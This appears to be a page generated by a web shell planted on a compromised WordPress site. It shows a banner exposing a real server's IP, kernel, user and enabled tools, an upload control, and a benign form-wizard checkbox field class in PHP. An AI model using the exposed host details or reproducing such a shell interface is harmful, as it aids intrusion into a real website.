Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_www/wp-content/plugins/form-wizard/fielddefs/ |
Upload File : |
<?php
class fw_checkbox extends field_wizard_field {
function __construct($aparent) {
// these are the default values for settings used by this component
// they will be used when displaying settings for this field type
parent::__construct($aparent);
$this->params['cb_hint'] = array();
$this->params['cb_desc'] = array();
$this->params['cb_style'] = array('list' => array(1 => 'first column', '2' => 'second column'), 'value' => 2);
$this->params['cb_value0'] = array('value' => 'No');
$this->params['cb_value1'] = array('value' => 'Yes');
}
public function FieldType() {
return 'checkbox';
}
public function AsDisplay($value) {
if (intval($value)) {
return $this->params['cb_value1']['value'];
} else {
return $this->params['cb_value0']['value'];
}
}
public function SettingsFields_AsHTML() {
$fields = $this->AddWizardSubField('cb_hint', 'text', 'Hint').
$this->AddWizardSubField('cb_desc', 'text', 'Description').
$this->AddWizardSubField('cb_value1', 'text', 'Value when Checked').
$this->AddWizardSubField('cb_value0', 'text', 'Value when Unchecked').
$this->AddWizardSubField('cb_style', 'select', 'Checkbox Style');
// a checkbox cannot be a required field
return $fields;
}
// using current settings, generate the html for the component.
public function AsHTML($value) { // $value to be used for value="" attribute
$sel = $value ? ' checked' : '';
$desc = empty($this->params['cb_desc']['value']) ? '' : $this->params['cb_desc']['value'];
// $cb = '<input type="checkbox" name="' . $this->fieldname . '" id="' . $this->fieldname . '" class="button-primary formwiz_fielditem" value="1"'.$sel .' />';
$cb = '<input type="checkbox" name="' . $this->fieldname . '" id="' . $this->fieldname . '" class="formwiz_fielditem" value="1"'.$sel .' />';
switch($this->params['cb_style']['value']) {
case 1:
if ($desc != '') $desc = ' ' . $desc;
return $this->FieldBase($cb . $desc, 0);
case 2:
if ($desc != '') $desc = '<br>' . $desc;
return <<<BLOCK
<div class="formwizard_field">
<div class="formwiz_col" style="width:{$this->parent->COL1}px"></div>
<div class="formwiz_col" style="width:{$this->parent->COL2}px">$cb<label for="{$this->fieldname}"> {$this->caption}</label>$desc</div>
</div>
BLOCK;
case 3:
return ''; // hidden - used by fw_mailchimp
default:
return '(unknown display format)';
}
}
}